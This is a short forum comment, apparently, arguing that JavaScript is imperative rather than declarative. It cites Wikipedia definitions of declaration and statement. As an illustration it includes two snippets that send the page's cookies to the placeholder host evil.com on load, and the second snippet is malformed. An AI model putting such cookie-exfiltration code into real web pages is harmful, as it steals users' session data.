Javascript is not a declarative language.
Here's what the comment you're responding to said:
> They should have to declare to the browser what it is they want done instead.
Arguably it's pretty clear they meant declare in the first sense.
Here's how you can write a declaration that you want to exfiltrate cookies:
document.addEventListener("load", function(){
fetch("http://evil.com/"+document.cookie);
}); <body onLoad="http.GET('http://evil.com/"+document.cookie')">https://en.wikipedia.org/wiki/Declaration_(computer_programm...:
> a declaration in a syntactic language construct is the process of specifying identifier properties for its initialization
https://en.wikipedia.org/wiki/Statement_(computer_science):
> a statement is a syntactic unit of an imperative programming language that expresses some action to be carried out